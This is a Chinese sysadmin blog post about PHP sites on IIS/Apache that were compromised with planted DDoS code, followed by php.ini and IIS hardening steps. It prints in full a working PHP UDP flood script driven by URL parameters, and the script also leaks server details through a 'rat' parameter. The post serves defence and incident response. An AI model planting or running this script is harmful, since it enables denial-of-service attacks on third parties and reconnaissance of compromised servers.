虚拟化容器,大数据,DBA,中间件,监控。

PHP环境(IIS/apache)对外发包的解决方法

17 03月
作者:admin|分类:系统运维
PHP环境(IIS/apache)对外发包的解决方法

前段时间有一些用户的带宽经常跑满,防火墙查看是在向外发包,决定一查究竟。开始以为是系统中毒,但是查毒之后并没有什么异常。后来发现IIS/apache服务停掉之后,就恢复了。于是开始从web服务方面查找原因,最后确认是PHP网站代码被篡改,植入DDOS攻击代码。

在网上搜索到了一段PHP-DDOS代码:

  1. <?php   
  2. set_time_limit(999999);   
  3. $host = $_GET['host'];   
  4. $port = $_GET['port'];   
  5. $exec_time = $_GET['time'];   
  6. $Sendlen = 65535;   
  7. $packets = 0;   
  8. ignore_user_abort(True);   
  9. if (StrLen($host)==0 or StrLen($port)==0 or StrLen($exec_time)==0){   
  10.         if (StrLen($_GET['rat'])<>0){   
  11.                 echo $_GET['rat'].$_SERVER["HTTP_HOST"]."|".GetHostByName($_SERVER  
  12. ['SERVER_NAME'])."|".php_uname()."|".$_SERVER['SERVER_SOFTWARE'].$_GET['rat'];   
  13.                 exit;   
  14.             }   
  15.         echo "Parameters can not be empty!";   
  16.         exit;   
  17.     }   
  18. for($i=0;$i<$Sendlen;$i++){   
  19.         $out .= "A";   
  20.     }   
  21. $max_time = time()+$exec_time;   
  22. while(1){   
  23.     $packets++;   
  24.     if(time() > $max_time){   
  25.         break;   
  26.     }   
  27.     $fp = fsockopen("udp://$host"$port$errno$errstr, 5);   
  28.         if($fp){   
  29.             fwrite($fp$out);   
  30.             fclose($fp);   
  31.     }   
  32. }   
  33. echo "Send Host:$host:$port<br><br>";   
  34. echo "Send Flow:$packets * ($Sendlen/1024=" . round($Sendlen/1024, 2) . ")kb / 1024 = " .   
  35. round($packets*$Sendlen/1024/1024, 2) . " mb<br><br>";   
  36. echo "Send Rate:" . round($packets/$exec_time, 2) . " packs/s;" . round($packets/   
  37. $exec_time*$Sendlen/1024/1024, 2) . " mb/s";   
  38. ?>  

这段程序比较简单,其中有一行$fp = fsockopen("udp://$host", $port, $errno, $errstr, 5); 这就是问题所在了,那么为了避免以后再出问题,我们把fsockopen给关闭,注意如果你用了phpmailer组件这个关了就不能发邮件了,

1、关闭fsockopen方法

打开php.ini文件,添加以下内容

  1. disable_functions = popen,exec,passthru,system,fsockopen,pfsockopen  

 

重启iis/apache就可以了,但是这样把所有功能都限制了,如果我们只想限制fsockopen可以如下操作。

同样在php.ini做如下修改:

找到

  1. allow_url_fopen = On  

修改为

  1. allow_url_fopen = Off  

再找到

  1. extension=php_sockets.dll  

将其注释掉

  1. ;extension=php_sockets.dll  

重启iis/apache,再试 应该就可以了。

2、针对IIS的设置

1)打开Internet 信息服务(IIS)管理器,右键点“我的计算机”——属性,

选上“允许直接编辑配置数据库(N)”,确定。

2) 用编辑器打开

  1. C:\Windows\system32\inetsrv\MetaBase.xml.  

查找关键词为:MinFileBytesPerSec ,将默认值240 修改为0.

查找 ConnectionTimeout  的值修改为 600.

保存退出。

3)重新起动IIS服务

经过以上的设置,一般的PHPDDOS代码就无法运行了,最好的解决方法还是找到代码删除,做好安全防护,不要给文件完全写入权限等等。

浏览2317 评论0
返回
目录
返回
首页
apache中开启Gzip和expires,优化页面访问速度 VMware Workstation 9虚拟机配置Hyper-V服务器